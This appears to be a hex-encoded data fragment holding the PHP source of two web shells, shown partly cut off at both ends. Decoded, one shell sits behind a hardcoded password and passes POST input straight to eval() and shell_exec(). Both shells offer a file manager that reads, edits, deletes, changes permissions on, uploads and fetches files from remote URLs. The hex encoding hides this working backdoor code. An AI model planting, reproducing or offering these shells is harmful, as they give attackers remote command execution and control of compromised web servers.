212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d226576616c223e0d0a2020202020202020202020203c68333ef09f94b520e58583e6b094e5bcb920284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d227370697269745f626f6d6222207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b277370697269745f626f6d62275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee58f9120e5b0843c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f7068702069662028246576616c5f72657320213d3d202727293a203f3e0d0a202020202020202020202020202020203c68343ee883bde9878fe58f8de9a688efbc9a3c2f68343e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328246576616c5f726573293b203f3e3c2f7072653e0d0a2020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f939c20e9be99e78fa0e99bb7e8bebe20283c3f706870206563686f20246375723b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de7a7b03c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236666386330303b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020202020202020202020202020203c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee4bfae3c2f613e207c0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee58f963c2f613e207c0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee5908d3c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69d833c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae6b688e781adefbc9f2729223ee781ad3c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d2272696768742d70616e656c223e0d0a20202020202020203c212d2d20e5b7a5e585b7e7aeb1202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09fa7b020e883b6e59b8ae585ace58fb82028546f6f6c73293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020202020202020202020e694b6e7bab3efbc9a3c696e70757420747970653d2266696c6522206e616d653d2266696c65223e203c627574746f6e3ee585a5e4bb933c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275726c646c223e0d0a2020202020202020202020202020202055524c20e79eace7a7bbefbc9a3c696e70757420747970653d227465787422206e616d653d2275726c22207374796c653d2277696474683a3630253b223e203c627574746f6e3ee79eace7a7bb3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d22756e7a6970223e0d0a20202020202020202020202020202020e8a7a3e5b081efbc9a3c696e70757420747970653d227465787422206e616d653d227a697022207374796c653d2277696474683a3630253b223e203c627574746f6e3ee8a7a3e5b0813c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b646972223e20e5bbbae6b49eefbc9a3c696e70757420747970653d227465787422206e616d653d226e616d65223e203c627574746f6e3ee5bbbae980a03c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b66696c65223e20e79599e4b9a6efbc9a3c696e70757420747970653d227465787422206e616d653d226e616d65223e203c627574746f6e3ee4b9a6e586993c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e7bb88e7abaf202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ee29aa120e79eace997b4e7a7bbe58aa820285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d227465787422206e616d653d22696e7374616e745f7472616e736d697373696f6e22207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee7a7bbe58aa83c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824636d645f726573293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824636d645f726573293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b0d0a202020202466203d20245f4745545b27646f776e6c6f6164275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b0d0a20202020202020207265616466696c65282466293b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a2f2f20e69fa5e79c8b0d0a69662028697373657428245f4745545b2776696577275d2929207b0d0a202020202466203d20245f4745545b2776696577275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee99885efbc9a272e626173656e616d65282466292e273c2f68333e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b0d0a202020207d0d0a7d0d0a2f2f20e7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee4bfaeefbc9a272e626173656e616d65282466292e273c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a202020206563686f20273c627574746f6e20747970653d227375626d6974223ee5b081e58db03c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f6c64203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69bb4e5908d3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d226f6c64222076616c75653d22272e246f6c642e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d226e6577222076616c75653d22272e626173656e616d6528246f6c64292e27223e203c627574746f6e3ee7a1aee8aea43c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69d83e58db03c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d226d6f6465223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee58aa0e79b963c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020e298a0efb88f20e69697e7bd97e5a4a7e9998620c2b720e6ada6e9ad82e6aebfe68ea7e588b6e58fb00d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a4073657373696f6e5f737461727428293b406572726f725f7265706f7274696e672830293b40696e695f7365742827646973706c61795f6572726f7273272c30293b0d0a0d0a2f2a202d2d2d2d20312e20e69d80e688aee4b98be983bde7bb93e7958c202d2d2d2d202a2f0d0a646566696e65282754414e475f53414e272c202761736427293b0d0a0d0a696628697373657428245f4745545b277265736574275d29297b4073657373696f6e5f64657374726f7928293b68656164657228274c6f636174696f6e3a203f27293b657869743b7d0d0a696628697373657428245f504f53545b2768616f7469616e275d29297b0d0a20202020696628245f504f53545b2768616f7469616e275d3d3d3d54414e475f53414e29245f53455353494f4e5b2775736572275d3d313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b657869743b0d0a7d0d0a69662821697373657428245f53455353494f4e5b2775736572275d29297b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee69d80e688aee4b98be983bd3c2f7469746c653e3c7374796c653e626f64797b6261636b67726f756e643a233061306130613b636f6c6f723a233862303030303b666f6e742d66616d696c793a225365676f65205549222c73616e732d73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d2e676174657b626f726465723a32707820736f6c696420233862303030303b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612831302c31302c31302c2e3935293b7d68317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b746578742d736861646f773a302030203135707820233862303030303b7d696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a233862303030303b626f726465723a31707820736f6c696420233862303030303b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a233862303030303b636f6c6f723a233061306130613b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d3c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d2267617465223e3c68313ee298a0efb88f20e69d8020e688ae20e4b98b20e983bd3c2f68313e3c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d2268616f7469616e2220747970653d2270617373776f72642220706c616365686f6c6465723d22e6988ae5a4a9e994a422206175746f666f6375733e3c62723e3c627574746f6e20747970653d227375626d6974223ee7a0b420e998b53c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e4b88ee58f98e9878f202d2d2d2d202a2f0d0a245f5f6375725f5f3d697373657428245f4745545b27646972275d293f7265616c7061746828245f4745545b27646972275d293a7265616c7061746828272e27293b69662821245f5f6375725f5f7c7c2169735f64697228245f5f6375725f5f2929245f5f6375725f5f3d7265616c7061746828272e27293b245f5f6375725f5f3d727472696d28245f5f6375725f5f2c4449524543544f52595f534550415241544f52292e4449524543544f52595f534550415241544f523b245f5f6d73675f5f3d27273b0d0a0d0a2f2a202d2d2d2d20332e20e6a0b8e5bf83e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a696628697373657428245f504f53545b27616374275d29297b0d0a2020202024613d245f504f53545b27616374275d3b0d0a2020202069662824613d3d2775706c6f616427262621656d70747928245f46494c45535b2766275d2929406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766275d5b27746d705f6e616d65275d2c245f5f6375725f5f2e626173656e616d6528245f46494c45535b2766275d5b276e616d65275d29293b0d0a2020202069662824613d3d276d6b6469722729406d6b64697228245f5f6375725f5f2e245f504f53545b276e275d293b0d0a2020202069662824613d3d276d6b66696c6527294066696c655f7075745f636f6e74656e747328245f5f6375725f5f2e245f504f53545b276e275d2c2727293b0d0a2020202069662824613d3d2772656e616d6527294072656e616d6528245f504f53545b276f275d2c245f504f53545b276e275d293b0d0a2020202069662824613d3d2763686d6f6427294063686d6f6428245f504f53545b2766275d2c6f637464656328245f504f53545b276d275d29293b0d0a2020202069662824613d3d277361766527294066696c655f7075745f636f6e74656e747328245f504f53545b2766275d2c245f504f53545b2763275d293b0d0a2020202069662824613d3d2775726c646c27297b24643d4066696c655f6765745f636f6e74656e747328245f504f53545b2775275d293b6966282464294066696c655f7075745f636f6e74656e747328245f5f6375725f5f2e626173656e616d6528245f504f53545b2775275d292c2464293b7d0d0a2020202069662824613d3d27756e7a6970272626636c6173735f65786973747328275a6970417263686976652729297b247a3d6e6577205a6970417263686976653b696628247a2d3e6f70656e28245f504f53545b277a275d293d3d3d54525545297b247a2d3e65787472616374546f28245f5f6375725f5f293b247a2d3e636c6f736528293b7d7d0d0a7d0d0a696628697373657428245f4745545b2764656c275d29297b24743d245f4745545b2764656c275d3b69735f66696c65282474293f40756e6c696e6b282474293a40726d646972282474293b7d0d0a0d0a2f2a20e6988ae5a4a9e994a420284576616c29202a2f0d0a245f5f7265735f5f3d27273b0d0a696628697373657428245f504f53545b2768616d6d6572275d29297b0d0a202020206f625f737461727428293b7472797b6576616c28245f504f53545b2768616d6d6572275d293b7d6361746368285468726f7761626c65202465297b6563686f2022e9ad82e58a9be6ba83e695a33a20222e24652d3e6765744d65737361676528293b7d245f5f7265735f5f3d6f625f6765745f636c65616e28293b0d0a7d0d0a2f2a20e8939de993b6e9a286e59f9f2028436f6d6d616e6429202a2f0d0a245f5f636d645f5f3d27273b0d0a696628697373657428245f504f53545b27626c75655f73696c766572275d29297b0d0a20202020245f5f636d645f5f3d7368656c6c5f657865632822636420222e6573636170657368656c6c61726728245f5f6375725f5f292e2220262620222e245f504f53545b27626c75655f73696c766572275d2e2220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e69687e4bbb6e58897e8a1a8202d2d2d2d202a2f0d0a245f5f66696c65735f5f3d5b5d3b0d0a6966282464683d406f70656e64697228245f5f6375725f5f29297b0d0a202020207768696c65282824663d72656164646972282464682929213d3d66616c7365297b0d0a202020202020202069662824663d3d272e2729636f6e74696e75653b0d0a20202020202020202466703d245f5f6375725f5f2e24663b0d0a2020202020202020245f5f66696c65735f5f5b5d3d5b276e273d3e24662c2770273d3e2466702c2764273d3e69735f64697228246670292c2773273d3e69735f64697228246670293f272d273a726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c276d273d3e73756273747228737072696e74662827256f272c66696c657065726d732824667029292c2d34295d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f727428245f5f66696c65735f5f2c666e2824612c2462293d3e24615b2764275d3d3d24625b2764275d3f7374726e617463617365636d702824615b276e275d2c24625b276e275d293a2824615b2764275d3f2d313a3129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e3c68746d6c206c616e673d227a68223e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee6ada6e9ad82e6aebf3c2f7469746c653e3c7374796c653e0d0a626f64797b666f6e742d66616d696c793a225365676f65205549222c73616e732d73657269663b6261636b67726f756e643a233061306130613b636f6c6f723a236330633063303b6d617267696e3a313070783b666f6e742d73697a653a313470783b7d0d0a2e746f707b6261636b67726f756e643a233161316131613b626f726465723a31707820736f6c696420233862303030303b70616464696e673a313070783b6d617267696e2d626f74746f6d3a313070783b646973706c61793a666c65783b6761703a313570783b7d0d0a2e746f7020617b636f6c6f723a233862303030303b746578742d6465636f726174696f6e3a6e6f6e653b666f6e742d7765696768743a626f6c643b7d0d0a2e746f7020612e6c7b6d617267696e2d6c6566743a6175746f3b636f6c6f723a236666343530303b7d0d0a2e636172647b6261636b67726f756e643a233161316131613b626f726465723a31707820736f6c696420233333333b70616464696e673a313570783b6d617267696e2d626f74746f6d3a313570783b7d0d0a2e636172642068337b6d617267696e2d746f703a303b636f6c6f723a233862303030303b626f726465722d626f74746f6d3a31707820736f6c696420233333333b70616464696e672d626f74746f6d3a3870783b7d0d0a7461626c657b77696474683a313030253b626f726465722d636f6c6c617073653a636f6c6c617073653b7d0d0a74682c74647b70616464696e673a3870783b626f726465723a31707820736f6c696420233333333b7d0d0a74687b6261636b67726f756e643a233261326132613b7d0d0a74723a686f7665727b6261636b67726f756e643a233261326132613b7d0d0a696e7075742c74657874617265612c73656c6563747b6261636b67726f756e643a233061306130613b636f6c6f723a233862303030303b626f726465723a31707820736f6c696420233333333b70616464696e673a3670783b666f6e742d66616d696c793a6d6f6e6f73706163653b7d0d0a627574746f6e7b6261636b67726f756e643a233862303030303b636f6c6f723a233061306130613b626f726465723a6e6f6e653b70616464696e673a36707820313570783b637572736f723a706f696e7465723b666f6e742d7765696768743a626f6c643b7d0d0a2e636f6e7461696e65727b646973706c61793a666c65783b6761703a313570783b7d0d0a2e6c6566747b666c65783a313b7d0d0a2e72696768747b77696474683a3335253b7d0d0a7072657b6261636b67726f756e643a233030303b636f6c6f723a233030666630303b70616464696e673a313070783b6f766572666c6f773a6175746f3b77686974652d73706163653a7072652d777261703b7d0d0a3c2f7374796c653e3c2f686561643e3c626f64793e0d0a0d0a3c64697620636c6173733d22746f70223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d6528245f5f6375725f5f29293b203f3e223e5b20e59b9ee59ca3e9ad82e69d91205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e6988ae5a4a9e994a4205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e9ad82e5afbce599a8205d3c2f613e0d0a202020203c6120687265663d223f72657365743d312220636c6173733d226c223e5b20e98080e587bae69d80e688ae205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d22636f6e7461696e6572223e0d0a202020203c64697620636c6173733d226c656674223e0d0a20202020202020203c212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d226576616c223e0d0a2020202020202020202020203c68333ef09f94a820e6988ae5a4a9e994a420284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d2268616d6d657222207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b2768616d6d6572275d3f3f27273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee9878a20e694be3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f70687020696628245f5f7265735f5f213d3d2727293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328245f5f7265735f5f293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09fa6b420e9ad82e585bde6a3aee69e9720283c3f706870206563686f20245f5f6375725f5f3b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de7a7b03c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f726561636828245f5f66696c65735f5f206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e3c3f7068702069662824665b2764275d293a3f3e3c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22207374796c653d22636f6c6f723a233862303030303b223e3c3f706870206563686f2024665b276e275d3b203f3e2f3c2f613e3c3f70687020656c73653a203f3e3c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223e3c3f706870206563686f2024665b276e275d3b203f3e3c2f613e3c3f70687020656e6469663b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b276d275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966282124665b2764275d293a203f3e3c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee4bfae3c2f613e7c3c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee58f963c2f613e7c3c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee5908d3c2f613e7c3c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee69d833c2f613e7c3c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e9ad82e9a39ee9ad84e695a3efbc9f2729223ee781ad3c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d227269676874223e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09fa7b020e9ad82e5afbce599a82028546f6f6c73293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275706c6f6164223ee694b6e7bab3efbc9a3c696e70757420747970653d2266696c6522206e616d653d2266223e203c627574746f6e3ee585a5e9ad823c2f627574746f6e3e3c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275726c646c223e55524cefbc9a3c696e70757420747970653d227465787422206e616d653d227522207374796c653d2277696474683a3630253b223e203c627574746f6e3ee69184e58f963c2f627574746f6e3e3c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d22756e7a6970223ee8a7a3e58e8befbc9a3c696e70757420747970653d227465787422206e616d653d227a22207374796c653d2277696474683a3630253b223e203c627574746f6e3ee782b8e5bc803c2f627574746f6e3e3c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b646972223ee5bbbae7a9b4efbc9a3c696e70757420747970653d227465787422206e616d653d226e223e203c627574746f6e3ee587bfe5bc803c2f627574746f6e3e3c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b66696c65223ee79599e4b9a6efbc9a3c696e70757420747970653d227465787422206e616d653d226e223e203c627574746f6e3ee588bbe5ad973c2f627574746f6e3e3c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f8cbf20e8939de993b6e9a286e59f9f20285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d227465787422206e616d653d22626c75655f73696c76657222207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee7bca0e7bb953c2f627574746f6e3e3c2f666f726d3e0d0a2020202020202020202020203c3f70687020696628245f5f636d645f5f293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328245f5f636d645f5f293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a696628697373657428245f4745545b27646f776e6c6f6164275d29297b24663d245f4745545b27646f776e6c6f6164275d3b69662869735f66696c6528246629297b6865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b7265616466696c65282466293b657869743b7d7d0d0a696628697373657428245f4745545b2776696577275d29297b24663d245f4745545b2776696577275d3b69662869735f66696c6528246629297b6563686f20273c64697620636c6173733d2263617264223e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b7d7d0d0a696628697373657428245f4745545b2765646974275d29297b24663d245f4745545b2765646974275d3b6563686f20273c64697620636c6173733d2263617264223e3c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d2266222076616c75653d22272e24662e27223e3c7465787461726561206e616d653d226322207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e3c627574746f6e20747970653d227375626d6974223ee5b081e5ad983c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b7d0d0a696628697373657428245f4745545b2772656e616d65275d29297b246f3d245f4745545b2772656e616d65275d3b6563686f20273c64697620636c6173733d2263617264223e3c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d226f222076616c75653d22272e246f2e27223e3c696e70757420747970653d227465787422206e616d653d226e222076616c75653d22272e626173656e616d6528246f292e27223e203c627574746f6e3ee69bb4e5908d3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b7d0d0a696628697373657428245f4745545b2763686d6f64275d29297b24663d245f4745545b2763686d6f64275d3b6563686f20273c64697620636c6173733d2263617264223e3c666f726d206d6574686f643d2270